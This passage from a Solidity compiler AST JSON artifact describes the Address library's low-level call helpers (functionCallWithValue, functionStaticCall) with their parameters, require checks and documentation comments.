{xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","overrides":null,"parameters":{"id":609,"nodeType":"ParameterList","parameters":[{"constant":false,"id":604,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":621,"src":"3603:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":603,"name":"address","nodeType":"ElementaryTypeName","src":"3603:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":606,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":621,"src":"3619:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":605,"name":"bytes","nodeType":"ElementaryTypeName","src":"3619:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":608,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":621,"src":"3638:26:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":607,"name":"string","nodeType":"ElementaryTypeName","src":"3638:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"3602:63:3"},"returnParameters":{"id":612,"nodeType":"ParameterList","parameters":[{"constant":false,"id":611,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":621,"src":"3684:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":610,"name":"bytes","nodeType":"ElementaryTypeName","src":"3684:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"3683:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":641,"nodeType":"FunctionDefinition","src":"4136:224:3","nodes":[],"body":{"id":640,"nodeType":"Block","src":"4249:111:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":634,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":624,"src":"4288:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":635,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":626,"src":"4296:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"id":636,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":628,"src":"4302:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"argumentTypes":null,"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564","id":637,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4309:43:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""},"value":"Address: low-level call with value failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""}],"id":633,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[641,691],"referencedDeclaration":691,"src":"4266:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4266:87:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":632,"id":639,"nodeType":"Return","src":"4259:94:3"}]},"documentation":{"id":622,"nodeType":"StructuredDocumentation","src":"3780:351:3","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but also transferring `value` wei to `target`.\n Requirements:\n - the calling contract must have an ETH balance of at least `value`.\n - the called Solidity function must be `payable`.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","overrides":null,"parameters":{"id":629,"nodeType":"ParameterList","parameters":[{"constant":false,"id":624,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":641,"src":"4167:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":623,"name":"address","nodeType":"ElementaryTypeName","src":"4167:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":626,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":641,"src":"4183:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":625,"name":"bytes","nodeType":"ElementaryTypeName","src":"4183:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":628,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":641,"src":"4202:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":627,"name":"uint256","nodeType":"ElementaryTypeName","src":"4202:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"4166:50:3"},"returnParameters":{"id":632,"nodeType":"ParameterList","parameters":[{"constant":false,"id":631,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":641,"src":"4235:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":630,"name":"bytes","nodeType":"ElementaryTypeName","src":"4235:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"4234:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":691,"nodeType":"FunctionDefinition","src":"4608:523:3","nodes":[],"body":{"id":690,"nodeType":"Block","src":"4749:382:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":658,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"4775:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_Address_$826","typeString":"library Address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Address_$826","typeString":"library Address"}],"id":657,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4767:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":656,"name":"address","nodeType":"ElementaryTypeName","src":"4767:7:3","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4767:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balance","nodeType":"MemberAccess","referencedDeclaration":null,"src":"4767:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":661,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":648,"src":"4792:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4767:30:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c","id":663,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4799:40:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""},"value":"Address: insufficient balance for call"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""}],"id":655,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4759:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4759:81:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":665,"nodeType":"ExpressionStatement","src":"4759:81:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":668,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":644,"src":"4869:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":667,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":550,"src":"4858:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":669,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4858:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374","id":670,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4878:31:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""},"value":"Address: call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""}],"id":666,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4850:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4850:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":672,"nodeType":"ExpressionStatement","src":"4850:60:3"},{"assignments":[674,676],"declarations":[{"constant":false,"id":674,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":690,"src":"4981:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":673,"name":"bool","nodeType":"ElementaryTypeName","src":"4981:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":676,"mutability":"mutable","name":"returndata","nodeType":"VariableDeclaration","overrides":null,"scope":690,"src":"4995:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":675,"name":"bytes","nodeType":"ElementaryTypeName","src":"4995:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"id":683,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":681,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":646,"src":"5050:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":677,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":644,"src":"5022:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"call","nodeType":"MemberAccess","referencedDeclaration":null,"src":"5022:11:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"argumentTypes":null,"id":679,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":648,"src":"5042:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"5022:27:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5022:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"4980:75:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":685,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":674,"src":"5090:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":686,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":676,"src":"5099:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"id":687,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":650,"src":"5111:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":684,"name":"_verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":825,"src":"5072:17:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":688,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5072:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":654,"id":689,"nodeType":"Return","src":"5065:59:3"}]},"documentation":{"id":642,"nodeType":"StructuredDocumentation","src":"4366:237:3","text":" @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n with `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","overrides":null,"parameters":{"id":651,"nodeType":"ParameterList","parameters":[{"constant":false,"id":644,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":691,"src":"4639:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":643,"name":"address","nodeType":"ElementaryTypeName","src":"4639:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":646,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":691,"src":"4655:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":645,"name":"bytes","nodeType":"ElementaryTypeName","src":"4655:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":648,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":691,"src":"4674:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":647,"name":"uint256","nodeType":"ElementaryTypeName","src":"4674:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":650,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":691,"src":"4689:26:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":649,"name":"string","nodeType":"ElementaryTypeName","src":"4689:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"4638:78:3"},"returnParameters":{"id":654,"nodeType":"ParameterList","parameters":[{"constant":false,"id":653,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":691,"src":"4735:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":652,"name":"bytes","nodeType":"ElementaryTypeName","src":"4735:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"4734:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":708,"nodeType":"FunctionDefinition","src":"5308:197:3","nodes":[],"body":{"id":707,"nodeType":"Block","src":"5408:97:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":702,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":694,"src":"5444:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":703,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":696,"src":"5452:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"hexValue":"416464726573733a206c6f772d6c6576656c207374617469632063616c6c206661696c6564","id":704,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5458:39:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""},"value":"Address: low-level static call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""}],"id":701,"name":"functionStaticCall","nodeType":"Identifier","overloadedDeclarations":[708,743],"referencedDeclaration":743,"src":"5425:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) view returns (bytes memory)"}},"id":705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5425:73:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":700,"id":706,"nodeType":"Return","src":"5418:80:3"}]},"documentation":{"id":692,"nodeType":"StructuredDocumentation","src":"5137:166:3","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","overrides":null,"parameters":{"id":697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":694,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":708,"src":"5336:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":693,"name":"address","nodeType":"ElementaryTypeName","src":"5336:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":696,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":708,"src":"5352:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":695,"name":"bytes","nodeType":"ElementaryTypeName","src":"5352:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"5335:35:3"},"returnParameters":{"id":700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":699,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":708,"src":"5394:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":698,"name":"bytes","nodeType":"ElementaryTypeName","src":"5394:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"5393:14:3"},"scope":826,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":743,"nodeType":"FunctionDefinition","src":"5689:416:3","nodes":[],"body":{"id":742,"nodeType":"Block","src":"5817:288:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":722,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":711,"src":"5846:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":721,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":550,"src":"5835:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5835:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a207374617469632063616c6c20746f206e6f6e2d636f6e7472616374","id":724,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5855:38:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_c79cc78e4f16ce3933a42b84c73868f93bb4a59c031a0acf576679de98c608a9","typeString":"literal_string \"Address: static call to non-contract\""},"value":"Address: static call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c79cc78e4f16ce3933a42b84c73868f93bb4a59c031a0acf576679de98c608a9","typeString":"literal_string \"Address: static call to non-contract\""}],"id":720,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5827:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":725,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5827:67:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":726,"nodeType":"ExpressionStatement","src":"5827:67:3"},{"assignments":[728,730],"declarations":[{"constant":false,"id":728,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":742,"src":"5965:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":727,"name":"bool","nodeType":"ElementaryTypeName","src":"5965:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":730,"mutability":"mutable","name":"returndata","nodeType":"VariableDeclaration","overrides":null,"scope":742,"src":"5979:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":729,"name":"bytes","nodeType":"ElementaryTypeName","src":"5979:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"id":735,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":733,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":713,"src":"6024:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":731,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":711,"src":"6006:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":732,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"staticcall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"6006:17:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6006:23:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"5964:65:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":737,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":728,"src":"6064:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":738,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":730,"src":"6073:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"id":739,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":715,"src":"6085:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":736,"name":"_verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":825,"src":"6046:17:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":740,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6046:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 